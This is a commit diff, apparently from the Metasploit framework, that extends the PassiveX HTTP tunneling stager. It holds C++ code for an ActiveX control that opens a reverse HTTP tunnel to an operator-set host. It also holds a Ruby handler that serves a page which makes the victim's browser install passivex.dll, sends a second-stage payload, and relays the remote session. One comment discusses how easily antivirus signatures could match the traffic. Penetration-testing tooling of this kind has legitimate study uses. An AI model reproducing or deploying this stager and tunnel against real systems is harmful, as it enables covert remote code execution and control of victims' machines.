various enhancements to support passivex, seems to be functional, somewhat
git-svn-id: file:///home/svn/incoming/trunk@3322 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
daf5eebd28
commit
ae5c816e85
Binary file not shown.
|
@ -52,6 +52,34 @@ HRESULT CPassiveX::put_HttpHost(BSTR Host)
|
|||
return S_OK;
|
||||
}
|
||||
|
||||
HRESULT CPassiveX::get_HttpSid(BSTR *Sid)
|
||||
{
|
||||
*Sid = PropHttpSid;
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
HRESULT CPassiveX::put_HttpSid(BSTR Sid)
|
||||
{
|
||||
PropHttpSid = Sid;
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
HRESULT CPassiveX::get_HttpUriBase(BSTR *UriBase)
|
||||
{
|
||||
*UriBase = PropHttpUriBase;
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
HRESULT CPassiveX::put_HttpUriBase(BSTR UriBase)
|
||||
{
|
||||
PropHttpUriBase = UriBase;
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
HRESULT CPassiveX::get_HttpPort(ULONG *Port)
|
||||
{
|
||||
*Port = PropHttpPort;
|
||||
|
@ -159,6 +187,8 @@ VOID CPassiveX::Initialize()
|
|||
{
|
||||
Tunnel.Start(
|
||||
OLE2A(PropHttpHost),
|
||||
OLE2A(PropHttpUriBase),
|
||||
OLE2A(PropHttpSid),
|
||||
(USHORT)PropHttpPort);
|
||||
}
|
||||
|
||||
|
|
|
@ -73,6 +73,8 @@ class ATL_NO_VTABLE CPassiveX :
|
|||
BEGIN_PROPERTY_MAP(CPassiveX)
|
||||
PROP_ENTRY("HttpHost", PASSIVEX_PROPERTY_HTTP_HOST, CLSID_NULL)
|
||||
PROP_ENTRY("HttpPort", PASSIVEX_PROPERTY_HTTP_PORT, CLSID_NULL)
|
||||
PROP_ENTRY("HttpSid", PASSIVEX_PROPERTY_HTTP_SID, CLSID_NULL)
|
||||
PROP_ENTRY("HttpUriBase", PASSIVEX_PROPERTY_HTTP_URI_BASE, CLSID_NULL)
|
||||
PROP_ENTRY("DownloadSecondStage", PASSIVEX_PROPERTY_DOWNLOAD_SECOND_STAGE, CLSID_NULL)
|
||||
END_PROPERTY_MAP()
|
||||
|
||||
|
@ -82,6 +84,10 @@ class ATL_NO_VTABLE CPassiveX :
|
|||
// IPassiveX
|
||||
STDMETHOD(get_HttpHost)(BSTR *Host);
|
||||
STDMETHOD(put_HttpHost)(BSTR Host);
|
||||
STDMETHOD(get_HttpSid)(BSTR *Sid);
|
||||
STDMETHOD(put_HttpSid)(BSTR Sid);
|
||||
STDMETHOD(get_HttpUriBase)(BSTR *UriBase);
|
||||
STDMETHOD(put_HttpUriBase)(BSTR UriBase);
|
||||
STDMETHOD(get_HttpPort)(ULONG *Port);
|
||||
STDMETHOD(put_HttpPort)(ULONG Port);
|
||||
STDMETHOD(get_DownloadSecondStage)(ULONG *Port);
|
||||
|
@ -105,6 +111,8 @@ class ATL_NO_VTABLE CPassiveX :
|
|||
|
||||
// Properties
|
||||
CComBSTR PropHttpHost;
|
||||
CComBSTR PropHttpSid;
|
||||
CComBSTR PropHttpUriBase;
|
||||
ULONG PropHttpPort;
|
||||
|
||||
// Tunnel
|
||||
|
|
|
@ -11,6 +11,8 @@ static DWORD FailedConnections = 0;
|
|||
|
||||
HttpTunnel::HttpTunnel()
|
||||
: HttpHost(NULL),
|
||||
HttpUriBase(NULL),
|
||||
HttpSid(NULL),
|
||||
HttpPort(0),
|
||||
LocalTcpListener(0),
|
||||
LocalTcpClientSide(0),
|
||||
|
@ -43,6 +45,8 @@ HttpTunnel::~HttpTunnel()
|
|||
*/
|
||||
DWORD HttpTunnel::Start(
|
||||
IN LPSTR InHttpHost,
|
||||
IN LPSTR InHttpUriBase,
|
||||
IN LPSTR InHttpSid,
|
||||
IN USHORT InHttpPort)
|
||||
{
|
||||
DWORD ThreadId;
|
||||
|
@ -57,6 +61,28 @@ DWORD HttpTunnel::Start(
|
|||
break;
|
||||
}
|
||||
|
||||
if ((InHttpSid) &&
|
||||
(InHttpSid[0]) &&
|
||||
(!(HttpSid = strdup(InHttpSid))))
|
||||
{
|
||||
Result = ERROR_NOT_ENOUGH_MEMORY;
|
||||
break;
|
||||
}
|
||||
|
||||
if ((InHttpUriBase) &&
|
||||
(InHttpUriBase[0]) &&
|
||||
(!(HttpUriBase = strdup(InHttpUriBase))))
|
||||
{
|
||||
Result = ERROR_NOT_ENOUGH_MEMORY;
|
||||
break;
|
||||
}
|
||||
|
||||
// Eliminate any trailing slashes as to prevent potential problems. If
|
||||
// HttpUriBase is just "/", then it'll become virtuall unused.
|
||||
if ((HttpUriBase) &&
|
||||
(HttpUriBase[strlen(HttpUriBase) - 1] == '/'))
|
||||
HttpUriBase[strlen(HttpUriBase) - 1] = 0;
|
||||
|
||||
HttpPort = InHttpPort;
|
||||
|
||||
// Acquire the internet context handle
|
||||
|
@ -407,6 +433,18 @@ DWORD HttpTunnel::TransmitHttpRequest(
|
|||
UCHAR ReadBuffer[8192];
|
||||
DWORD ReadBufferLength;
|
||||
DWORD Result = ERROR_SUCCESS;
|
||||
PCHAR AdditionalHeaders = NULL;
|
||||
CHAR FullUri[1024];
|
||||
|
||||
// Construct the full URI
|
||||
if (HttpUriBase && HttpUriBase[0])
|
||||
_snprintf(FullUri, sizeof(FullUri) - 1,
|
||||
"%s/%s",
|
||||
HttpUriBase, Uri);
|
||||
else
|
||||
strncpy(FullUri, Uri, sizeof(FullUri) - 1);
|
||||
|
||||
FullUri[sizeof(FullUri) - 1] = 0;
|
||||
|
||||
do
|
||||
{
|
||||
|
@ -443,7 +481,7 @@ DWORD HttpTunnel::TransmitHttpRequest(
|
|||
if (!(RequestHandle = HttpOpenRequest(
|
||||
ConnectHandle,
|
||||
Method ? Method : TEXT("GET"),
|
||||
Uri,
|
||||
FullUri,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
|
@ -454,6 +492,17 @@ DWORD HttpTunnel::TransmitHttpRequest(
|
|||
Result = GetLastError();
|
||||
break;
|
||||
}
|
||||
|
||||
// If we were assigned an HTTP session identifier, then allocate an
|
||||
// additional header for transmission to the remote side.
|
||||
if (HttpSid)
|
||||
{
|
||||
// Yeah, I'm lame, this is easy to sig. Improve me if you care!
|
||||
if ((AdditionalHeaders = (PCHAR)malloc(strlen(HttpSid) + 32)))
|
||||
sprintf(AdditionalHeaders,
|
||||
"X-Sid: sid=%s\r\n",
|
||||
HttpSid);
|
||||
}
|
||||
|
||||
PROFILE_CHECKPOINT("HttpOpenRequest <==");
|
||||
PROFILE_CHECKPOINT("HttpSendRequest ==>");
|
||||
|
@ -461,8 +510,8 @@ DWORD HttpTunnel::TransmitHttpRequest(
|
|||
// Send and endthe request
|
||||
if ((!HttpSendRequest(
|
||||
RequestHandle,
|
||||
NULL,
|
||||
0,
|
||||
AdditionalHeaders,
|
||||
(AdditionalHeaders) ? -1L : 0,
|
||||
RequestPayload,
|
||||
RequestPayloadLength)))
|
||||
{
|
||||
|
@ -561,6 +610,8 @@ DWORD HttpTunnel::TransmitHttpRequest(
|
|||
if (ConnectHandle)
|
||||
InternetCloseHandle(
|
||||
ConnectHandle);
|
||||
if (AdditionalHeaders)
|
||||
free(AdditionalHeaders);
|
||||
|
||||
// Set the output pointers or free up the output buffer
|
||||
if (Result == ERROR_SUCCESS)
|
||||
|
|
|
@ -27,6 +27,8 @@ class HttpTunnel
|
|||
// Initialization
|
||||
DWORD Start(
|
||||
IN LPSTR HttpHost,
|
||||
IN LPSTR HttpUriBase,
|
||||
IN LPSTR HttpSid,
|
||||
IN USHORT HttpPort);
|
||||
DWORD Stop();
|
||||
protected:
|
||||
|
@ -71,6 +73,8 @@ class HttpTunnel
|
|||
|
||||
// Remote host information
|
||||
LPSTR HttpHost;
|
||||
LPSTR HttpUriBase;
|
||||
LPSTR HttpSid;
|
||||
USHORT HttpPort;
|
||||
|
||||
// Sockets
|
||||
|
|
|
@ -5,6 +5,8 @@ enum PassiveXProperties
|
|||
{
|
||||
PASSIVEX_PROPERTY_HTTP_HOST = 1,
|
||||
PASSIVEX_PROPERTY_HTTP_PORT = 2,
|
||||
PASSIVEX_PROPERTY_HTTP_SID = 4,
|
||||
PASSIVEX_PROPERTY_HTTP_URI_BASE = 5,
|
||||
PASSIVEX_PROPERTY_DOWNLOAD_SECOND_STAGE = 3,
|
||||
};
|
||||
|
||||
|
@ -19,6 +21,10 @@ interface IPassiveX : IDispatch
|
|||
{
|
||||
[propput, id(PASSIVEX_PROPERTY_HTTP_HOST)] HRESULT HttpHost([in] BSTR host);
|
||||
[propget, id(PASSIVEX_PROPERTY_HTTP_HOST)] HRESULT HttpHost([out, retval] BSTR *host);
|
||||
[propput, id(PASSIVEX_PROPERTY_HTTP_SID)] HRESULT HttpSid([in] BSTR sid);
|
||||
[propget, id(PASSIVEX_PROPERTY_HTTP_SID)] HRESULT HttpSid([out, retval] BSTR *sid);
|
||||
[propput, id(PASSIVEX_PROPERTY_HTTP_URI_BASE)] HRESULT HttpUriBase([in] BSTR base);
|
||||
[propget, id(PASSIVEX_PROPERTY_HTTP_URI_BASE)] HRESULT HttpUriBase([out, retval] BSTR *base);
|
||||
[propput, id(PASSIVEX_PROPERTY_HTTP_PORT)] HRESULT HttpPort([in] ULONG port);
|
||||
[propget, id(PASSIVEX_PROPERTY_HTTP_PORT)] HRESULT HttpPort([out, retval] ULONG *port);
|
||||
[propput, id(PASSIVEX_PROPERTY_DOWNLOAD_SECOND_STAGE)] HRESULT DownloadSecondStage([in] ULONG na);
|
||||
|
|
|
@ -68,8 +68,8 @@ IDR_PASSIVEX REGISTRY DISCARDABLE "PassiveX.bin"
|
|||
//
|
||||
|
||||
VS_VERSION_INFO VERSIONINFO
|
||||
FILEVERSION 1,0,0,0
|
||||
PRODUCTVERSION 1,0,0,0
|
||||
FILEVERSION 3,0,0,0
|
||||
PRODUCTVERSION 3,0,0,0
|
||||
FILEFLAGSMASK 0x3fL
|
||||
#ifdef _DEBUG
|
||||
FILEFLAGS 0x1L
|
||||
|
@ -87,14 +87,14 @@ BEGIN
|
|||
VALUE "Comments", "\0"
|
||||
VALUE "CompanyName", "Metasploit\0"
|
||||
VALUE "FileDescription", "PassiveX HTTP Tunneling Stager\0"
|
||||
VALUE "FileVersion", "1, 0, 0, 0\0"
|
||||
VALUE "FileVersion", "3, 0, 0, 0\0"
|
||||
VALUE "InternalName", "PassiveX\0"
|
||||
VALUE "LegalCopyright", "Copyright © 2005 Metasploit\0"
|
||||
VALUE "LegalTrademarks", "\0"
|
||||
VALUE "OriginalFilename", "PassiveX.dll\0"
|
||||
VALUE "PrivateBuild", "\0"
|
||||
VALUE "ProductName", "Metasploit\0"
|
||||
VALUE "ProductVersion", "1, 0, 0, 0\0"
|
||||
VALUE "ProductVersion", "3, 0, 0, 0\0"
|
||||
VALUE "SpecialBuild", "\0"
|
||||
END
|
||||
END
|
||||
|
|
|
@ -187,6 +187,8 @@ protected
|
|||
rescue ::Exception
|
||||
elog("Exploit failed: #{$!}", 'core', LEV_0)
|
||||
|
||||
dlog("Call stack:\n#{$@.join("\n")}", 'core', LEV_3)
|
||||
|
||||
payload.stop_handler
|
||||
exploit.cleanup
|
||||
|
||||
|
|
|
@ -0,0 +1,389 @@
|
|||
require 'rex/io/stream_abstraction'
|
||||
require 'rex/sync/ref'
|
||||
|
||||
module Msf
|
||||
module Handler
|
||||
|
||||
###
|
||||
#
|
||||
# This handler implements the PassiveX reverse HTTP tunneling interface.
|
||||
#
|
||||
###
|
||||
module PassiveX
|
||||
|
||||
include Msf::Handler
|
||||
|
||||
###
|
||||
#
|
||||
# This class wrappers the communication channel built over the HTTP
|
||||
# communication protocol between a local session and the remote HTTP
|
||||
# client.
|
||||
#
|
||||
###
|
||||
class PxSessionChannel
|
||||
|
||||
include Rex::IO::StreamAbstraction
|
||||
|
||||
def initialize(sid)
|
||||
@sid = sid
|
||||
@remote_queue = ''
|
||||
|
||||
initialize_abstraction
|
||||
|
||||
# Start a thread that monitors the local side of the pipe and writes
|
||||
# data from it to the remote side.
|
||||
@monitor_thread = Thread.new {
|
||||
begin
|
||||
while true
|
||||
if ((rsock.has_read_data?) and
|
||||
(buf = rsock.get))
|
||||
write_remote(buf)
|
||||
end
|
||||
end
|
||||
rescue ::Exception
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Closes the stream abstraction and kills the monitor thread.
|
||||
#
|
||||
def close
|
||||
@monitor_thread.kill if (@monitor_thread)
|
||||
@monitor_thread = nil
|
||||
|
||||
cleanup_abstraction
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the remote HTTP client that is to be used for tunneling output
|
||||
# data to the client side.
|
||||
#
|
||||
def remote=(cli)
|
||||
# If we already have a remote, then close it now that we have a new
|
||||
# one.
|
||||
if (@remote)
|
||||
begin
|
||||
@remote.server.close_client(@remote)
|
||||
rescue ::Exception
|
||||
end
|
||||
end
|
||||
|
||||
@remote = cli
|
||||
|
||||
flush_output
|
||||
end
|
||||
|
||||
#
|
||||
# Writes data to the local side of the abstraction that comes in from
|
||||
# the remote.
|
||||
#
|
||||
def write_local(buf)
|
||||
rsock.put(buf)
|
||||
end
|
||||
|
||||
#
|
||||
# Writes data to the remote HTTP client via an indirect queue.
|
||||
#
|
||||
def write_remote(buf)
|
||||
@remote_queue += buf
|
||||
|
||||
flush_output
|
||||
end
|
||||
|
||||
#
|
||||
# Flushes the output queue if there is an associated output HTTP client.
|
||||
#
|
||||
def flush_output
|
||||
return if (@remote_queue == nil or @remote_queue.length == 0)
|
||||
|
||||
resp = Rex::Proto::Http::Response.new
|
||||
resp.body = @remote_queue
|
||||
|
||||
begin
|
||||
if (@remote)
|
||||
@remote.send_response(resp)
|
||||
@remote = nil
|
||||
@remote_queue = ''
|
||||
end
|
||||
rescue ::Exception
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# A PassiveX mixin that is used to extend the Msf::Session class in order
|
||||
# to add a reference to the payload handler that created the session in a
|
||||
# guaranteed fashion. In turn, the cleanup routine for the session is
|
||||
# modified to call deref_handler on the payload handler if it's defined.
|
||||
# This is done to ensure that the tunneling handler stays running while
|
||||
# there are sessions that still have references to it.
|
||||
#
|
||||
module PxSession
|
||||
|
||||
def payload_handler=(p)
|
||||
@payload_handler = p
|
||||
end
|
||||
|
||||
def cleanup
|
||||
super
|
||||
|
||||
@payload_handler.deref_handler if (@payload_handler)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Class for wrapping reference counting a specific object for passivex.
|
||||
#
|
||||
class PxRef
|
||||
def initialize
|
||||
refinit
|
||||
end
|
||||
|
||||
include Rex::Ref
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the string representation of the handler type, in this case
|
||||
# 'reverse_http'.
|
||||
#
|
||||
def self.handler_type
|
||||
return "reverse_http"
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the connection-described general handler type, in this case
|
||||
# 'tunnel'.
|
||||
#
|
||||
def self.general_handler_type
|
||||
"tunnel"
|
||||
end
|
||||
|
||||
#
|
||||
# Initializes the PassiveX HTTP tunneling handler.
|
||||
#
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptAddress.new('PXHOST', [ true, "The local HTTP listener hostname" ]),
|
||||
OptPort.new('PXPORT', [ true, "The local HTTP listener port", 8080 ]),
|
||||
OptString.new('PXURI', [ true, "The URI root for requests", "/" ]),
|
||||
OptPath.new('PXAXDLL', [ true, "ActiveX DLL to inject", File.join(Msf::Config.install_root, "data", "passivex", "passivex.dll") ]),
|
||||
OptString.new('PXAXCLSID', [ true, "ActiveX CLSID", "B3AC7307-FEAE-4e43-B2D6-161E68ABA838" ]),
|
||||
OptString.new('PXAXVER', [ true, "ActiveX DLL Version", "-1,-1,-1,-1" ]),
|
||||
], Msf::Handler::PassiveX)
|
||||
|
||||
# Initialize the start of the localized SID pool
|
||||
self.sid_pool = 0
|
||||
self.session_channels = Hash.new
|
||||
self.handler_ref = PxRef.new
|
||||
end
|
||||
|
||||
#
|
||||
# Create an HTTP listener that will be connected to and communicated with
|
||||
# by the payload that is injected, and possibly used for tunneling
|
||||
# purposes.
|
||||
#
|
||||
def setup_handler
|
||||
# Start the HTTP server service on this host/port
|
||||
self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,
|
||||
datastore['PXPORT'].to_i, datastore['PXHOST'])
|
||||
|
||||
# Add the new resource
|
||||
service.add_resource(datastore['PXURI'],
|
||||
'Proc' => Proc.new { |cli, req|
|
||||
on_request(cli, req)
|
||||
},
|
||||
'VirtualDirectory' => true)
|
||||
|
||||
dlog("PassiveX listener started on http://#{datastore['PXHOST']}:#{datastore['PXPORT']}#{datastore['PXURI']}", 'core', LEV_2)
|
||||
|
||||
print_status("PassiveX listener started.")
|
||||
end
|
||||
|
||||
#
|
||||
# Simply calls stop handler to ensure that things ar ecool.
|
||||
#
|
||||
def cleanup_handler
|
||||
end
|
||||
|
||||
#
|
||||
# Basically does nothing. The service is already started and listening
|
||||
# during set up.
|
||||
#
|
||||
def start_handler
|
||||
end
|
||||
|
||||
#
|
||||
# Stops the service and deinitializes it.
|
||||
#
|
||||
def stop_handler
|
||||
deref_handler
|
||||
end
|
||||
|
||||
#
|
||||
# PassiveX payloads have a wait-for-session delay of 30 seconds minimum
|
||||
# because it can take a bit of time for the OCX to get registered.
|
||||
#
|
||||
def wfs_delay
|
||||
30
|
||||
end
|
||||
|
||||
#
|
||||
# Called when a new session is created on behalf of this handler. In this
|
||||
# case, we extend the session so that we can track references to the
|
||||
# handler since we need to keep the HTTP tunnel up while the session is
|
||||
# alive.
|
||||
#
|
||||
def on_session(session)
|
||||
super
|
||||
|
||||
# Extend the session, increment handler references, and set up the
|
||||
# session payload handler.
|
||||
session.extend(PxSession)
|
||||
|
||||
handler_ref.ref
|
||||
|
||||
session.payload_handler = self
|
||||
end
|
||||
|
||||
#
|
||||
# Decrement the references to the handler that was used by this exploit.
|
||||
# If it reaches zero, stop it.
|
||||
#
|
||||
def deref_handler
|
||||
if (handler_ref.deref)
|
||||
if (service)
|
||||
Rex::ServiceManager.stop_service(service)
|
||||
|
||||
self.service.deref
|
||||
self.service = nil
|
||||
|
||||
print_status("PassiveX listener stopped.")
|
||||
end
|
||||
|
||||
flush_session_channels
|
||||
end
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
attr_accessor :service # :nodoc:
|
||||
attr_accessor :sid_pool # :nodoc:
|
||||
attr_accessor :session_channels # :nodoc:
|
||||
attr_accessor :handler_ref # :nodoc:
|
||||
|
||||
#
|
||||
# Processes the HTTP request from the PassiveX client. In this case, when
|
||||
# a request is made to "/", an HTML body is sent that has an embedded
|
||||
# object tag. This causes the passivex.dll to be downloaded and
|
||||
# registered (since registration and downloading have been enabled prior to
|
||||
# this point). After that, the OCX may create a tunnel or download a
|
||||
# second stage if instructed by the server.
|
||||
#
|
||||
def on_request(cli, req)
|
||||
sid = nil
|
||||
resp = Rex::Proto::Http::Response.new
|
||||
|
||||
# Grab the SID if one was supplied in the request header.
|
||||
if (req['X-Sid'] and
|
||||
(m = req['X-Sid'].match(/sid=(\d+?)/)))
|
||||
sid = m[1]
|
||||
end
|
||||
|
||||
# Process the requested resource.
|
||||
case req.relative_resource
|
||||
when "/"
|
||||
# Get a new sid
|
||||
self.sid_pool += 1
|
||||
nsid = sid_pool
|
||||
|
||||
resp['Content-Type'] = 'text/html'
|
||||
resp.body =
|
||||
"<html>" +
|
||||
" <object classid=\"CLSID:#{datastore['PXAXCLSID']}\" codebase=\"passivex.dll##{datastore['PXAXVER']}\">" +
|
||||
" <param name=\"HttpHost\" value=\"#{datastore['PXHOST']}\">" +
|
||||
" <param name=\"HttpPort\" value=\"#{datastore['PXPORT']}\">" +
|
||||
" <param name=\"HttpUriBase\" value=\"#{datastore['PXURI']}\">" +
|
||||
" <param name=\"HttpSid\" value=\"#{nsid}\">" +
|
||||
((stage_payload) ?
|
||||
" <param name=\"DownloadSecondStage\" value=\"1\">" : "") +
|
||||
" </object>" +
|
||||
"</html>"
|
||||
|
||||
# Create a new local PX session with the supplied sid
|
||||
new_session_channel(nsid)
|
||||
|
||||
print_status("Sending PassiveX main page to client")
|
||||
when "/passivex.dll"
|
||||
resp['Content-Type'] = 'application/octet-stream'
|
||||
resp.body = IO.readlines(datastore['PXAXDLL']).join
|
||||
|
||||
print_status("Sending PassiveX DLL (#{resp.body.length} bytes)")
|
||||
when "/stage"
|
||||
resp.body = generate_stage
|
||||
|
||||
# Now that we've transmitted a second stage, it's time to indicate
|
||||
# that we've found a new session. We call handle_connection using
|
||||
# the lsock of the local stream.
|
||||
if (s = find_session_channel(sid))
|
||||
Thread.new {
|
||||
begin
|
||||
handle_connection(s.lsock)
|
||||
rescue ::Exception
|
||||
elog("Exception raised during PX handle connection: #{$!}", 'core', LEV_1)
|
||||
|
||||
dlog("Call stack:\n#{$@.join("\n")}", 'core', LEV_3)
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
print_status("Sending second stage (#{resp.body.length} bytes to sid: #{sid}")
|
||||
when "/tunnel_in"
|
||||
s.write_local(req.body) if (s = find_session_channel(sid))
|
||||
when "/tunnel_out"
|
||||
cli.keepalive = true
|
||||
resp = nil
|
||||
|
||||
s.remote = cli if (s = find_session_channel(sid))
|
||||
else
|
||||
resp.code = 404
|
||||
resp.message = "Not found"
|
||||
end
|
||||
|
||||
cli.send_response(resp) if (resp)
|
||||
end
|
||||
|
||||
#
|
||||
# Creates a new session with the supplied sid.
|
||||
#
|
||||
def new_session_channel(sid)
|
||||
self.session_channels[sid.to_i] = PxSessionChannel.new(sid)
|
||||
end
|
||||
|
||||
#
|
||||
# Finds a session based on the supplied sid
|
||||
#
|
||||
def find_session_channel(sid)
|
||||
session_channels[sid.to_i]
|
||||
end
|
||||
|
||||
#
|
||||
# Flushes all existing session_channels and cleans up any resources associated with
|
||||
# them.
|
||||
#
|
||||
def flush_session_channels
|
||||
session_channels.each_pair { |sid, session|
|
||||
session.close
|
||||
}
|
||||
|
||||
session_channels = Hash.new
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -43,9 +43,17 @@ module Msf::Payload::Stager
|
|||
end
|
||||
|
||||
#
|
||||
# Transmit the associated stage.
|
||||
# Whether or not any stages associated with this stager should be sent over
|
||||
# the connection that is established.
|
||||
#
|
||||
def handle_connection(conn)
|
||||
def stage_over_connection?
|
||||
true
|
||||
end
|
||||
|
||||
#
|
||||
# Generates the stage payload and substitutes all offsets.
|
||||
#
|
||||
def generate_stage
|
||||
p = stage_payload.dup
|
||||
|
||||
# Substitute variables in the stage
|
||||
|
@ -53,11 +61,24 @@ module Msf::Payload::Stager
|
|||
|
||||
# Prefix to the stage with whatever may be required and then rock it.
|
||||
p = (self.stage_prefix || '') + p
|
||||
|
||||
print_status("Sending stage (#{p.length} bytes)")
|
||||
|
||||
# Send the stage
|
||||
conn.put(p)
|
||||
return p
|
||||
end
|
||||
|
||||
#
|
||||
# Transmit the associated stage.
|
||||
#
|
||||
def handle_connection(conn)
|
||||
# If the stage should be sent over the client connection that is
|
||||
# established (which is the default), then go ahead and transmit it.
|
||||
if (stage_over_connection?)
|
||||
p = generate_stage
|
||||
|
||||
print_status("Sending stage (#{p.length} bytes)")
|
||||
|
||||
# Send the stage
|
||||
conn.put(p)
|
||||
end
|
||||
|
||||
# If the stage implements the handle connection method, sleep before
|
||||
# handling it.
|
||||
|
|
|
@ -598,6 +598,8 @@ class Core
|
|||
end
|
||||
end
|
||||
|
||||
rescue IOError, EOFError, Rex::StreamClosedError
|
||||
print_status("Session stream closed.")
|
||||
rescue
|
||||
log_error("Session manipulation failed: #{$!}")
|
||||
end
|
||||
|
|
|
@ -13,6 +13,35 @@ module IO
|
|||
###
|
||||
module StreamAbstraction
|
||||
|
||||
###
|
||||
#
|
||||
# Extension information for required Stream interface.
|
||||
#
|
||||
###
|
||||
module Ext
|
||||
|
||||
#
|
||||
# Initializes peer information.
|
||||
#
|
||||
def initinfo(peer)
|
||||
@peer = peer
|
||||
end
|
||||
|
||||
#
|
||||
# Symbolic peer information.
|
||||
#
|
||||
def peerinfo
|
||||
(@peer || "Remote Pipe") + " (HTTP)"
|
||||
end
|
||||
|
||||
#
|
||||
# Symbolic local information.
|
||||
#
|
||||
def localinfo
|
||||
"Local Pipe (HTTP)"
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# This method creates a streaming socket pair and initializes it.
|
||||
#
|
||||
|
@ -21,6 +50,7 @@ module StreamAbstraction
|
|||
::Socket::SOCK_STREAM, 0)
|
||||
|
||||
self.lsock.extend(Rex::IO::Stream)
|
||||
self.lsock.extend(Ext)
|
||||
self.rsock.extend(Rex::IO::Stream)
|
||||
end
|
||||
|
||||
|
@ -35,6 +65,48 @@ module StreamAbstraction
|
|||
self.rsock = nil
|
||||
end
|
||||
|
||||
#
|
||||
# Writes to the local side.
|
||||
#
|
||||
def syswrite(buffer)
|
||||
lsock.syswrite(buffer)
|
||||
end
|
||||
|
||||
#
|
||||
# Reads from the local side.
|
||||
#
|
||||
def sysread(length)
|
||||
lsock.sysread(length)
|
||||
end
|
||||
|
||||
#
|
||||
# Shuts down the local side of the stream abstraction.
|
||||
#
|
||||
def shutdown(how)
|
||||
lsock.shutdown(how)
|
||||
end
|
||||
|
||||
#
|
||||
# Closes both sides of the stream abstraction.
|
||||
#
|
||||
def close
|
||||
cleanup_abstraction
|
||||
end
|
||||
|
||||
#
|
||||
# Symbolic peer information.
|
||||
#
|
||||
def peerinfo
|
||||
"Remote-side of Pipe"
|
||||
end
|
||||
|
||||
#
|
||||
# Symbolic local information.
|
||||
#
|
||||
def localinfo
|
||||
"Local-side of Pipe"
|
||||
end
|
||||
|
||||
#
|
||||
# The left side of the stream.
|
||||
#
|
||||
|
|
|
@ -27,6 +27,13 @@ class Handler
|
|||
false
|
||||
end
|
||||
|
||||
#
|
||||
# Calls the class method.
|
||||
#
|
||||
def relative_resource_required?
|
||||
self.class.relative_resource_required?
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
attr_accessor :server # :nodoc:
|
||||
|
|
|
@ -15,10 +15,18 @@ class Handler::Proc < Handler
|
|||
#
|
||||
# Initializes the proc handler with the supplied procedure
|
||||
#
|
||||
def initialize(server, procedure)
|
||||
def initialize(server, procedure, virt_dir = false)
|
||||
super(server)
|
||||
|
||||
self.procedure = procedure
|
||||
self.virt_dir = virt_dir || false
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if the procedure is representing a virtual directory.
|
||||
#
|
||||
def relative_resource_required?
|
||||
virt_dir
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -35,6 +43,7 @@ class Handler::Proc < Handler
|
|||
protected
|
||||
|
||||
attr_accessor :procedure # :nodoc:
|
||||
attr_accessor :virt_dir # :nodoc:
|
||||
|
||||
end
|
||||
|
||||
|
|
|
@ -103,7 +103,6 @@ class Server
|
|||
self.listen_host = listen_host
|
||||
self.listen_port = port
|
||||
self.listener = nil
|
||||
self.server_name = DefaultServer
|
||||
self.resources = {}
|
||||
end
|
||||
|
||||
|
@ -179,7 +178,7 @@ class Server
|
|||
|
||||
# If a procedure was passed, mount the resource with it.
|
||||
if (opts['Proc'])
|
||||
mount(name, Handler::Proc, false, opts['Proc'])
|
||||
mount(name, Handler::Proc, false, opts['Proc'], opts['VirtualDirectory'])
|
||||
else
|
||||
raise ArgumentError, "You must specify a procedure."
|
||||
end
|
||||
|
@ -196,7 +195,7 @@ class Server
|
|||
# Adds Server headers and stuff.
|
||||
#
|
||||
def add_response_headers(resp)
|
||||
resp['Server'] = self.server_name
|
||||
resp['Server'] = DefaultServer
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -234,11 +233,6 @@ class Server
|
|||
end
|
||||
|
||||
attr_accessor :listen_port, :listen_host
|
||||
|
||||
#
|
||||
# Server name used by this servier instance
|
||||
#
|
||||
attr_accessor :server_name
|
||||
|
||||
protected
|
||||
|
||||
|
@ -306,7 +300,7 @@ protected
|
|||
handler = p[0].new(self, *p[2])
|
||||
|
||||
# If the handler class requires a relative resource...
|
||||
if (p[0].relative_resource_required?)
|
||||
if (handler.relative_resource_required?)
|
||||
# Substituted the mount point root in the request to make things
|
||||
# relative to the mount point.
|
||||
request.relative_resource = request.resource.gsub(/^#{root}/, '')
|
||||
|
@ -335,7 +329,6 @@ protected
|
|||
close_client(cli)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
|
|
|
@ -79,8 +79,6 @@ class Exploits::Test::Multi::Aggressive < Msf::Exploit::Remote
|
|||
gets
|
||||
end
|
||||
|
||||
sock.get
|
||||
|
||||
handler
|
||||
end
|
||||
|
||||
|
|
|
@ -21,6 +21,7 @@ module BindTcp
|
|||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::BindTcp,
|
||||
'Convention' => 'sockedi',
|
||||
'SymbolLookup' => 'ebp',
|
||||
'Stager' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
|
|
|
@ -0,0 +1,97 @@
|
|||
require 'msf/core'
|
||||
require 'msf/core/handler/passivex'
|
||||
|
||||
module Msf
|
||||
module Payloads
|
||||
module Stagers
|
||||
module Windows
|
||||
|
||||
module PassiveX
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'PassiveX Stager',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Tunnel communication over HTTP',
|
||||
